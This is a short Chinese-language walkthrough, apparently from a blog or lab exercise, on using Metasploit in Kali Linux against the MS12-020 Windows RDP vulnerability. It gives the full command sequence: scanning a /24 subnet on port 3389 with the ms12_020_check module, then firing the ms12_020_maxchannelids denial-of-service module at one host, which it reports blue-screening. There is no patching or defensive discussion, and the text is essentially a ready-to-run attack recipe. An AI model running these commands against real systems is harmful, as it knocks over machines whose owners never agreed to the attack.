在kali linux终端中，启动metasploit框架控制台，输入msfconsole，等待一段时间后，即可进入metasploit控制端。
接下来，输入search ms12-020命令，用于查找ms12-020模块。
在搜索结果中，我们可以看到auxiliary/dos/windows/rdp/ms12_020_maxchannelids是攻击模块，但现在我们先关注下面的扫描模块。
输入use auxiliary/scanner/rdp/ms12_020_check命令，选择ms12-020的检查模块。
然后，输入show options命令，查看当前模块的配置选项。
由于该攻击需要目标机器开启3389端口，因此我们保持port选项的默认值3389不变。rhosts选项后面带有s，表明可以设置为一个网段或单个IP。为了更广泛的扫描，我们将其设置为一个网段，因为我的目标机器的IP是192.168.0.143。
输入set RHOSTS 192.168.0.1/24命令，设置要扫描的IP范围。
然后，输入run或exploit命令，开始进行扫描。
可以看到扫描已经开始进行，并且我们注意到192.168.0.143前面有绿色的+号，表示该IP是可用的。
现在，我们可以使用之前提到的auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块进行攻击。
输入use auxiliary/dos/windows/rdp/ms12_020_maxchannelids命令，选择攻击模块。
然后，输入set RHOST 192.168.0.143命令，设置目标IP（也可以先输入show options查看选项）。
最后，输入run命令，启动攻击。
观察到03号目标机器已经蓝屏，重启即可恢复正常。
